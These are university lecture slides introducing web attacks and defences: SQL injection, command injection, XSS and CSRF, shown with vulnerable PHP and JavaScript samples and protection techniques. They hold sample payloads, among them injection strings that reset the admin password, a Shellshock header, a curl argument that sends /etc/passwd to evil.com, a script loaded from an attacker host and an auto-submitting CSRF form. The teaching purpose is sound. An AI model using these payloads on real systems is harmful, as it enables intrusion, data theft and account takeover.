
SAPIENZA
UNIVERSITÀ DI ROMA

# Web security: an introduction to attack techniques and defense methods

Mauro Gentile

Web Security and Privacy
F. d'Amore

Dept. of Computer, Control, and Management Engineering Antonio Ruberti
Sapienza University of Rome

# Web security: principles and goals

**Principles**

- Branch of Computer security specifically related to Internet
- It deals with online threats
- It includes two major areas:
  - Web Application Security
  - Web Browser Security

**Goals**

- Web applications should guarantee a strong security level
- Web browsers should protect users in a way to avoid computer infections and sensitive data compromise

# Web security: motivation

**The importance of web security**

- Most web sites and applications have vulnerabilities
  - Attackers can access confidential data by breaking into web applications
- Many users are not security minded
  - Attackers may target users by asking them to visit malicious web sites
- Several components could be targeted
  - Huge attack surface
  - Since many layers can be attacked, chances to be compromised increase
- Chronological tour of vulnerabilities in 2015:
  - https://access.redhat.com/blogs/766093/posts/2262281

# Attacking the server

- Typically, hackers can exploit injection flaws and other web application vulnerabilities:
  - SQL Injection
  - Command execution
  - Local file access
  - XML External Entities processing
  - Web server exploits and misconfiguration
  - Exposed administrative panels
  - And many others...

- Involved components:
  - Web applications
  - Web servers
  - Web services
  - Databases

# Attacking the users

- Typically, hackers can exploit web application vulnerabilities to attack users:
  - Cross-Site Scripting
  - Cross-Site Request Forgery
  - UI Redressing
  - Arbitrary URL redirects
  - And many others...

- Possible goals:
  - Impersonating users
  - Escalating privileges
  - Forcing victims to trigger unwanted operations

# HTTP protocol: basics

- Application protocol at the basis of data communication for the Internet
- Stateless protocol
  - The web server does not hold any information on previous HTTP requests
  - State maintained through sessions (cookies)
- No protection against eavesdropping attempts for data in transit
  - HTTPS is used for ensuring confidentiality, integrity and authentication
- Usually, timeout is not a problem
  - Data modification in MiTM conditions is feasible via an HTTP proxy
- DNS spoofing leads to communicate with unexpected servers (in plain HTTP)

# Same-Origin Policy

- Security principle that regulates web browser security
  - It restricts how a document loaded from A.com can interact with another document hosted on B.com
  - A.com and B.com are considered as different origins, therefore they are isolated

  - Example:
    - The user is logged in sensi.tive.webm.ail.com
    - The attacker may ask him to visit evil.com aiming towards stealing his session cookies for sensi.tive.webm.ail.com
    - SOP prohibits such attempt resulting in a security exception

# Moving to web attacks

**Attack**

- HTTP requests containing malicious payloads could attack web applications
- Vulnerable web applications have weaknesses, whose exploitation could potentially lead to unexpected results
- Unpatched clients are potentially affected by several vulnerabilities

**Defense**

- Vulnerability detection is not trivial, at least for “uncommon” bugs
- Penetration testing and source code analysis activities are definitely useful for detecting security issues
- Protecting users requires several layers of protection both on the client and on the server side

# Injection attacks

# SQL Injection

- Mixing SQL code with user-supplied input could lead to modify the intended SQL code behavior, since the hostile input is parsed by the SQL interpreter
  - The application combines user inputs with static parameters to build an SQL query

- Example (Vulnerable change password functionality)
  - Taken from: http://php.net/manual/en/security.database.sql-injection.php

```
<?php
// …
// $pwd and $uid are user controlled inputs
// ...
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
// perform query
?>
```

# SQL Injection (cont'd)

- Changing the admin's password
  - target.php?pwd=hello&uid=%27%20or%20user%20like%20%27%25admin%25

```
<?php
// …
// $uid: ' or user like '%admin%
// ...
// resulting query:
$query = "UPDATE usertable SET pwd='hello' WHERE uid='' or user like '%admin%';";
// perform query
?>
```

- Escalating privileges
  - target.php?pwd=hello%27%2C%20admin%3D%27yes&uid=[attacker_id]

```
<?php
// …
// $pwd: hello', admin='yes
// ...
// resulting query:
$query = "UPDATE usertable SET pwd='hello', admin='yes' WHERE uid='[att_id]';";
// perform query
?>
```

# SQL Injection (cont'd)

- Take into consideration that the aforementioned PHP code is vulnerable to several issues:
  - SQL Injection
  - Plain text passwords in the database
  - Potential authorization bypass by controlling the “uid” parameter
  - Sensitive data sent in GET parameters
  - Insecure password change procedure
    - The old password is not requested
  - CSRF by knowing the victim's “uid”
  - Potential XSS if malformed queries are reflected in the error page

- Multiple SQL Injection exploitation techniques exist
  - https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)

# SQL Injection: protection techniques

- Never trust any kind of input
- Use prepared statements with parameterized queries
  - User input handled as the value of a parameter, instead of being part of the SQL statement

```
<?php
// uid should not be user controlled
// …
$stmt = $conn->prepare("UPDATE usertable SET pwd=? WHERE uid=?");
// types for the corresponding bind variables are provided
$stmt->bind_param('si', $pwd, $_SESSION["userid"]);
// session variables could be indirectly tainted if session poisoning issues are present
$stmt->execute();
// …
?>
```

- Do not blacklist potentially harmful characters as a way to protect against SQLi

# Command Injection

- Untrusted data is passed to an interpreter as part of a command
- The injected data makes the target system execute unintended commands
- The issue may involve any software which programmatically executes a command
- Example (command injection in file deletion function)
  - Taken from: https://www.owasp.org/index.php/Command_Injection

```
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
system("rm $file");
?>
```

# Command Injection (cont'd)

- Executing arbitrary commands (I)
  - delete.php?filename=bob.txt;id

```
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
// the following instruction will become: system(“rm bob.txt;id”)
system("rm $file");
?>
```

- Response

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

# Command Injection (cont'd)

- Executing arbitrary commands (II)
  - delete.php?filename=bob`uname -a > x`.txt

```
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
// the following instruction will become:
// system(“rm bob`uname -a > x`.txt”)
system("rm $file");
?>
```

- By requesting the file called x, we will have:

```
Linux box 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8
19:35:44 UTC 2014 i686 i686 i686 GNU/Linux
```

# Command Injection (cont'd)

- Overwriting files content
  - delete.php?filename=bob.txt;echo cool > /var/www/index.php

```
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
// the following instruction will become:
// system(“rm bob.txt;echo cool > /var/www/index.php”)
system("rm $file");
?>
```

- Infinite exploitation scenarios
  - Attacker can read files and upload backdoors as well
  - Usually, hacked web servers are forced to connect to a master which orders them to carry out malicious operations
  - Attacker may try to escalate privileges through publicly available system exploits
    - Game over!

# Command Injection (cont'd)

- Still relevant today, real world and recent instances:
  - Shellshock
    - Trailing commands execution through a specially crafted environment variable containing an exported function definition
      - http://seclists.org/oss-sec/2014/q3/650

```
GET /test.cgi HTTP/1.1
...
User-Agent: () { :; }; /bin/ping -c 5 x.y.z.w
...
```

  - ImageTragick - specifically, CVE-2016-3714
    - Insufficient argument filtering for filename passed to delegate's command
      - https://imagetragick.com/

```
...
<image xlink:href="https://host/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="1px" width="1px"/>
...
```

# Command Injection: defense techniques

- Perform input validation against any kind of input

- Input escaping
  - PHP
    - escapeshellarg
      - Adds single quotes around a string and escapes any existing single quotes
    - escapeshellcmd
      - Escapes any characters in a string that might be used to execute arbitrary commands
- Choose functions that do not execute commands under a shell environment

- Take into consideration that other conditions may influence the vulnerability occurrence
  - Example: Off-by-one command injection in next-gen firewalls
    - https://www.troopers.de/media/filer_public/a5/4d/a54da07e-3780-4f83-b4ac-8c620666a60a/paloalto_troopers.pdf

# Command Injection: defense techniques (cont'd)

- When dealing with security related functions, read the documentation very carefully
- Do not make wrong assumptions
  - For instance, escapeshellarg and escapeshellcmd have different goals
- Example (escaping a single command line argument – the wrong way)

```
<?php
$url=$_GET['url'];
$command = 'curl '.$url;
$escaped_command = escapeshellcmd($command);
exec($escaped_command);
?>
```

- Insecure!
  - Argument injection to read local files:
    - http://evil.com --data-urlencode param@/etc/passwd
  - Also vulnerable to Server-Side Request Forgery and other issues...

# Suggested Reading

- Details about some interesting, but not mentioned and not necessarily injection-based, attack techniques:
  - Path Traversal
    - http://cwe.mitre.org/data/definitions/22.html
  - XML External Entities Processing
    - http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf
  - Deserialization Flaws (Java)
    - https://access.redhat.com/blogs/766093/posts/1976093
    - https://access.redhat.com/blogs/766093/posts/1976113
- Exhaustive list of security bug patterns affecting Java web applications:
  - http://find-sec-bugs.github.io/bugs.htm
- Real world vulnerabilities in Java software:
  - http://www.slideshare.net/davidjorm/2015-46345702

# Cross-Site Scripting and Cross-Site Request Forgery

# Session Hijacking

- By assuming that an attacker was able to compromise the victim's session, then it could impersonate him in the context of the target web application

- This can take place through multiple issues:
  - Predictable session tokens
  - Cross-Site Scripting vulnerabilities
  - Mixed content issues
  - Session Fixation
  - SOP bypass exploits
  - Victim's computer malware infection

# Cross-Site Scripting

- Malicious HTML and/or JavaScript code is injected in the context of a target domain
- Since the browser have no way to distinguish whether a script is legit or not, it will execute it
- According to the SOP, the injected code will be executed in the context of the trusted web site
- Generally, Cross-Site Scripting (XSS) attacks are categorized in three categories:
  - Reflected XSS
  - Stored XSS
  - DOM-Based XSS

# Reflected XSS

- The target web application echoes back user supplied input in the HTML response without performing input validation and output encoding

- Example (basic reflected XSS)
  - http://target/index.php?name=you

```
<?php
$name=$_GET['name'];
echo "Hey ".$name;
?>
```

- HTML response

```
Hey you
```

- What if ?name=<script src=//ev.il.co.m/mal.js></script> ?

```
Hey <script src=//ev.il.co.m/mal.js></script>
```

# Reflected XSS: exploitation flow

1. The attacker sends a specifically crafted link to the victim and asks him to visit it
   - http://target/index.php?name=<script src=//ev.il.co.m/mal.js></script>
2. The victim clicks the malicious link pointing to http://target
3. The PHP page index.php echoes back the injected parameter
4. The script hosted on ev.il.co.m/mal.js is executed

- Based on the content of mal.js, the attacker may perform different types of actions
  - Session hijacking

- Take into consideration that exploiting a reflected XSS is often related to filter evasion

# Stored XSS

- The injected script is stored in a permanent data store and echoed back whenever users will visit the injected web page

- Exploitation flow example:
  1. The attacker leaves a malicious comment in a blog
  2. Upon comments moderation, the blog admin is involved in the attack since the malicious JavaScript code is executed

- Real world example
  - Stored XSS in Piwik through AngularJS expression and sandbox escape
    - http://blog.portswigger.net/2016/04/adapting-angularjs-payloads-to-exploit.html

# XSS: protection techniques

- Perform input validation and contextual output encoding

- Check whether the input resembles the expected data format through a whitelist approach
  - Do not adopt blacklists: these are typically subject to bypasses

- Output encoding
  - Potentially harmful characters are escaped:
    - < becomes <
    - > becomes >
    - " becomes "
    - & becomes &
    - And so on...

# XSS: protection techniques (cont'd)

- XSS protection depends on the reflection context
- Any data entry point should be handled on the basis of the context in which it is reflected in the HTML response

- Example (insecure XSS protection)

```
<?php
$url=$_GET['url'];
echo '<a href="'.htmlspecialchars($url).'">click me</a>';
?>
```

- XSS with ?url=javascript:alert(1)
  - htmlspecialchars performs escaping for HTML contexts, and not for HTML attributes
  - No input validation performed
    - https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

# DOM-Based XSS

- The client-side script is misused in order to make it work maliciously
- The attacker exploits the fact that no filtering is performed on some inputs
  - The JavaScript attribute accessing such input is called source
- The client-side code "manipulates" such data making the exploit take place
  - The JavaScript function/attribute which ends up with input reflection/execution is called sink

- Example (basic DOM-Based XSS)

```
<div id="jobs"></div>
<script>
var selected = location.hash.slice(1);
document.getElementById("jobs").innerHTML = selected;
</script>
```

- Exploitable with http://target/index.php#<img src=xx:x onerror=alert(1) />
- Source: location.hash Sink: innerHTML

# DOM-Based XSS: protection techniques

- Input validation and contextual output encoding

- It's not trivial to protect
  - https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
  - https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_%28OTG-CLIENT-001%29

- Input validation can take place on the client in case the input does not reach the server application

```
<div id=”jobs”></div>
<script>
var selected = location.hash.slice(1);
if (selected.match(/^\d{1}$/))
  document.getElementById(“jobs”).innerHTML = selected;
</script>
```

- Output encoding on the client-side is carried out through JavaScript functions

# Cross-Site Request Forgery

- Attack in which the victim is forced into making unwanted operations with respect to a web application, he is authenticated with
- The target of CSRF attacks are state-changing functionality
- The attack is feasible since the browser automatically appends cookies to HTTP requests, also to the ones taking place cross-domain

- Example (CSRF affecting the change password procedure)
  - The attacker wants to force the victim to change its password to an arbitrary one
  - He asks the victim to visit the following web page:

```
<script>
function change() { document.forms[0].submit(); }
</script>
<body onload="change()">
<form action="https://target/changePass.php" method="POST">
<input type="hidden" name="newPass" value="hello" />
</form>
</body>
```

# Cross-Site Request Forgery (cont'd)

- By considering unprotected state-changing functionality, the web application assumes that any received HTTP request is legitimately sent by the trusted user
- Any web application functionality should be protected against CSRF events
- By assuming the case in which banking applications are not CSRF-protected, then visiting ev.il.co.m could lead to unwanted money transfers
- Obviously, XSS => CSRF

# CSRF: protection techniques

- Random anti-CSRF token sent in any state-changing request and verified on the server
  - The token is generated by the web application and put in HTML responses
  - Due to SOP, no way for attackers to access such information, unless it is predictable
  - Receiving requests with the expected token implies that they are coming from the trusted web site

- Double-submit cookies
  - Anti-CSRF token sent both in a cookie and in the request body
    - Cryptographically signed (through HMAC) data, tied to user id and generation timestamp

- https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet

# That's all

- Modern web security involves many other aspects, we did not cover because of obvious time constraints
- Several other attack techniques exist
- Protecting against modern threats is not easy and requires a strong knowledge of recent security issues and exploitation techniques

# About me

**Mauro Gentile**

- Principal Security Consultant @ Minded Security
  - Penetration testing
  - Source code analysis
  - Vulnerability assessments
  - Security research
  - More generally, delivering services regarding Application Security

    (https://www.mindedsecurity.com/index.php/about-us)

**Personal**
Email: gentile.mauro.mg@gmail.com
Twitter: @sneak_

**Company**
Email: mauro.gentile@mindedsecurity.com
Web site: www.mindedsecurity.com